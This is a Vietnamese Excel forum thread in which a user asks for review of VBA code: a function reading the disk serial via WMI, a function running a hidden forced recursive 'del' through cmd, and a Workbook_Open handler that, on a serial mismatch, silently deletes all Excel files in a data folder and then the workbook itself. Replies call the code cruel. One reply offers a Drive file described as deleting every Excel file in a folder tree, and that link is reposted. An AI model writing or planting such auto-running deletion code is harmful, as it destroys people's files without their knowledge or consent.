Code đọc mã máy và xóa foldelr (1 người xem)

[ducdinh1987]

chào anh chị GPE !

anh chị xem giúp em những code dưới đây kết hợp chạy có hợp lý không. em cảm ơn

code 1:
Function doc()
Dim Disco As Object
Dim Discos As Object
Dim abc
Set ObjetoWMI = GetObject("WINMGMTS:")
Set Discos = ObjetoWMI.InstancesOf("Win32_PhysicalMedia")
abc = ""
For Each Disco In Discos
abc = Disco.SerialNumber
If Len(Trim(abc)) > 0 Then
Exit For
End If
Next
doc = Trim(abc)
End Function

code 2:
Function DelSpecFiles(ByVal RootFolder As String, ByVal Search As String, ByVal InSub As Boolean)
Dim sComm As String, tmp As String, str As String, tmpFile, Arr
Dim wsObj As Object
On Error Resume Next
Set wsObj = CreateObject("Wscript.Shell")
If Right(RootFolder, 1) <> "\" Then RootFolder = RootFolder & "\"
str = """" & RootFolder & Search & """"
sComm = "Del " & str & " /F /Q /A" & IIf(InSub, " /S", "")
wsObj.Run "cmd /u /c " & sComm, 0, True
Set wsObj = Nothing
End Function

code 3:
Private Sub Workbook_Open()
Dim sSeri As String
sSeri = doc
If sSeri <> "2SNWANCS" Then
Application.DisplayAlerts = False
DelSpecFiles ThisWorkbook.Path & "\data\", "*.xl**", True ' nguồn tới folder xóa
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName ' Nếu sai kill cả file
ThisWorkbook.Close False
End If
End Sub

 

[Kiều Mạnh]

chào anh chị GPE !

anh chị xem giúp em những code dưới đây kết hợp chạy có hợp lý không. em cảm ơn

code 1:
Function doc()
Dim Disco As Object
Dim Discos As Object
Dim abc
Set ObjetoWMI = GetObject("WINMGMTS:")
Set Discos = ObjetoWMI.InstancesOf("Win32_PhysicalMedia")
abc = ""
For Each Disco In Discos
abc = Disco.SerialNumber
If Len(Trim(abc)) > 0 Then
Exit For
End If
Next
doc = Trim(abc)
End Function

code 2:
Function DelSpecFiles(ByVal RootFolder As String, ByVal Search As String, ByVal InSub As Boolean)
Dim sComm As String, tmp As String, str As String, tmpFile, Arr
Dim wsObj As Object
On Error Resume Next
Set wsObj = CreateObject("Wscript.Shell")
If Right(RootFolder, 1) <> "\" Then RootFolder = RootFolder & "\"
str = """" & RootFolder & Search & """"
sComm = "Del " & str & " /F /Q /A" & IIf(InSub, " /S", "")
wsObj.Run "cmd /u /c " & sComm, 0, True
Set wsObj = Nothing
End Function

code 3:
Private Sub Workbook_Open()
Dim sSeri As String
sSeri = doc
If sSeri <> "2SNWANCS" Then
Application.DisplayAlerts = False
DelSpecFiles ThisWorkbook.Path & "\data\", "*.xls", True ' nguồn tới folder xóa
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName ' Nếu sai kill cả file
ThisWorkbook.Close False
End If
End Sub

Cái Function đó của Anh Ndu thì quỷ phải khóc thần phải sầu rồi....
Nếu Bạn viết trên VB6 hay VB.net thì còn Bảo mật được. còn trên VBA cũng chỉ là Trò chơi
Code của Trang này Bài 9
http://www.giaiphapexcel.com/forum/showthread.php?103136-Cách-xóa-file-trong-1-Folder

 

[ducdinh1987]

Nếu Bạn viết trên VB6 hay VB.net thì còn Bảo mật được. còn trên VBA cũng chỉ là Trò chơi
Code của Trang này Bài 9
http://www.giaiphapexcel.com/forum/showthread.php?103136-Cách-xóa-file-trong-1-Folder

cảm ơn bạn. cái này mình gom từ các bài trên diễn đàn và chỉnh sửa tí. mình muốn anh chị nào biết góp ý coi code này chạy có ổn không.

về VBA của excel mình học trước bỏ lâu rồi quên. còn về VB6 hay VB.net mình không rành lắm. Mình muốn học lắm nhưng kiến thức mình có giới hạn. tương lai không xa mình sẻ học.

 

[Kiều Mạnh]

cảm ơn bạn. cái này mình gom từ các bài trên diễn đàn và chỉnh sửa tí. mình muốn anh chị nào biết góp ý coi code này chạy có ổn không.

về VBA của excel mình học trước bỏ lâu rồi quên. còn về VB6 hay VB.net mình không rành lắm. Mình muốn học lắm nhưng kiến thức mình có giới hạn. tương lai không xa mình sẻ học.

Ổn hay ko bạn bấm Run một phát biết liền mà

 

[ndu96081631]

chào anh chị GPE !

anh chị xem giúp em những code dưới đây kết hợp chạy có hợp lý không. em cảm ơn

Code gì mà ÁC quá vậy bạn? Có cần phải "rần rần" thế không?

 

[ducdinh1987]

Code gì mà ÁC quá vậy bạn? Có cần phải "rần rần" thế không?

Lâu không dùng code. nên đưa lên để các bác giúp cho nó ngọn và tốt hơn.

 

[Kiều Mạnh]

Lâu không dùng code. nên đưa lên để các bác giúp cho nó ngọn và tốt hơn.

Nếu thích quậy thứ dữ thì thử File Sau.....

Lưu ý cho file Vào Folder xong tạo Folder con cháu, chắt trong đó copy vào mỗi Folder một mớ File *.xls

xong Chạy File mình Gửi

Nếu Không làm theo hướng dẫn đừng hối hận nha

Mình xóa link đi vì File quá Ác Delete hết File Excel trong Folder cha, con và Chính Nó

mình thấy Tội lỗi quá nếu Bạn nào sử dụng File đó vào mục đích xấu....Xin lỗi rất nhiều

 

[ducdinh1987]

Nếu thích quậy thứ dữ thì thử File Sau.....

Lưu ý cho file Vào Folder xong tạo Folder con cháu, chắt trong đó copy vào mỗi Folder một mớ File *.xls

xong Chạy File mình Gửi

Nếu Không làm theo hướng dẫn đừng hối hận nha

https://drive.google.com/file/d/0B7zWYlns0sLBTGp1azQ3aWthelE/view?usp=sharing

cảm ơn bạn.

tốt nhất không biết cấu trúc nó thế nào thì không dám thử. sợ thử cái ko còn file excel nào trong máy là xong.

 

[Kiều Mạnh]

cảm ơn bạn.

tốt nhất không biết cấu trúc nó thế nào thì không dám thử. sợ thử cái ko còn file excel nào trong máy là xong.

Thì đọc kỹ hướng dẫn đó